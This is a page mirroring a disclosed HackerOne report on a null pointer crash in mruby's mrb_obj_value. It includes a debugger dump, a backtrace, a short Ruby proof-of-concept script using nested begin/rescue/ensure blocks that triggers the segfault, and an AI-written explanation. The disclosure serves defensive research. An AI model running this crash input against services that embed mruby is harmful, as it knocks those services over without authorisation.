Skip to content
DoS Disclosed report Intermediate

SIGSEGV - mrb_obj_value

A crafted Ruby script causes a null pointer dereference in mruby's mrb_obj_value function, leading to a segmentation fault. An attacker could crash the interpreter by supplying such a script.

icanthack Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 5 days
  • Paid in 13 days
  • Disclosed after 34 days

Linux Ubuntu Xenial 64 commit f8b31a0db671b71d2794ce866b87596a09c10bf0 Author: Yukihiro "Matz" Matsumoto [email protected] Date: Wed Mar 15 09:00:03 2017 +0900

output

RAX: 0x0 
RBX: 0x6c4e80 --> 0x1 
RCX: 0x6c4e50 --> 0x6b4320 --> 0x112 
RDX: 0xf222f69400000003 
RSI: 0x6b4320 --> 0x112 
RDI: 0x0 
RBP: 0x7fffffffdb10 --> 0x7fffffffe1d0 --> 0x7fffffffe220 --> 0x7fffffffe280 --> 0x7fffffffe410 --> 0x7fffffffe440 (--> ...)
RSP: 0x7fffffffdaf0 --> 0x6bc8d0 --> 0x9109 
RIP: 0x417da4 (<mrb_obj_value+16>:	movzx  eax,BYTE PTR [rax])
R8 : 0x3 
R9 : 0x7fffffffe1d0 --> 0x7fffffffe220 --> 0x7fffffffe280 --> 0x7fffffffe410 --> 0x7fffffffe440 --> 0x7fffffffe500 (--> ...)
R10: 0x12 
R11: 0x7ffff7899390 --> 0xfffda380fffda0af 
R12: 0x0 
R13: 0x3 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x417d98 <mrb_obj_value+4>:	sub    rsp,0x20
   0x417d9c <mrb_obj_value+8>:	mov    QWORD PTR [rbp-0x18],rdi
   0x417da0 <mrb_obj_value+12>:	mov    rax,QWORD PTR [rbp-0x18]
=> 0x417da4 <mrb_obj_value+16>:	movzx  eax,BYTE PTR [rax]
   0x417da7 <mrb_obj_value+19>:	movzx  eax,al
   0x417daa <mrb_obj_value+22>:	mov    DWORD PTR [rbp-0x8],eax
   0x417dad <mrb_obj_value+25>:	mov    rax,QWORD PTR [rbp-0x18]
   0x417db1 <mrb_obj_value+29>:	mov    QWORD PTR [rbp-0x10],rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdaf0 --> 0x6bc8d0 --> 0x9109 
0008| 0x7fffffffdaf8 --> 0x0 
0016| 0x7fffffffdb00 --> 0x1 
0024| 0x7fffffffdb08 --> 0x2 
0032| 0x7fffffffdb10 --> 0x7fffffffe1d0 --> 0x7fffffffe220 --> 0x7fffffffe280 --> 0x7fffffffe410 --> 0x7fffffffe440 (--> ...)
0040| 0x7fffffffdb18 --> 0x41b658 (<mrb_vm_exec+4559>:	mov    QWORD PTR [rbp-0x2e0],rax)
0048| 0x7fffffffdb20 --> 0x6b20e8 --> 0x6fc830 --> 0x708800 --> 0x1 
0056| 0x7fffffffdb28 --> 0x71bba4 --> 0x24000980181001b 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000417da4 in mrb_obj_value (p=0x0) at /home/ubuntu/mruby/include/mruby/value.h:212
212	  SET_OBJ_VALUE(v, (struct RBasic*)p);

backtrace

#0  0x0000000000417da4 in mrb_obj_value (p=0x0) at /home/ubuntu/mruby/include/mruby/value.h:212
#1  0x000000000041b658 in mrb_vm_exec (mrb=0x6b2010, proc=0x6b4d40, pc=0x71bba4)
    at /home/ubuntu/mruby/src/vm.c:1096
#2  0x000000000041a487 in mrb_vm_run (mrb=0x6b2010, proc=0x6b4d40, self=..., stack_keep=0x0)
    at /home/ubuntu/mruby/src/vm.c:820
#3  0x000000000042291f in mrb_top_run (mrb=0x6b2010, proc=0x6b4d40, self=..., stack_keep=0x0)
    at /home/ubuntu/mruby/src/vm.c:2615
#4  0x000000000044925b in mrb_load_exec (mrb=0x6b2010, p=0x70eda0, c=0x70da00)
    at /home/ubuntu/mruby/mrbgems/mruby-compiler/core/parse.y:5760
#5  0x00000000004492f1 in mrb_load_file_cxt (mrb=0x6b2010, f=0x70e9f0, c=0x70da00)
    at /home/ubuntu/mruby/mrbgems/mruby-compiler/core/parse.y:5769
#6  0x00000000004022f0 in main (argc=0x2, argv=0x7fffffffe5e8)
    at /home/ubuntu/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mruby.c:227
#7  0x00007ffff7725830 in __libc_start_main (main=0x401fd6 <main>, argc=0x2, argv=0x7fffffffe5e8, 
    init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, 
    stack_end=0x7fffffffe5d8) at ../csu/libc-start.c:291
#8  0x00000000004019b9 in _start ()

PoC

begin
rescue => a
end

begin
  b
rescue begin
    c ""
  rescue => d
    0
  ensure
  end
end

The original report as published on HackerOne, by icanthack. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely a null pointer dereference in mrb_obj_value when handling a specific rescue/ensure construct.

Impact

An attacker could cause a denial of service by crashing the mruby interpreter with a malicious script.

What the attacker needed

Ability to run a script with mruby

How it was found

  1. Compile mruby at the specified commit.
  2. Run the provided PoC script with the mruby interpreter.
  3. Observe the segmentation fault.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A segmentation fault (SIGSEGV) is a crash that happens when a program tries to access memory it shouldn't. Here, a specially written Ruby script makes the mruby interpreter crash because it tries to read from a null pointer (address zero).

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by icanthack

View all

4 more disclosed reports, best first.

More from shopify-scripts

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.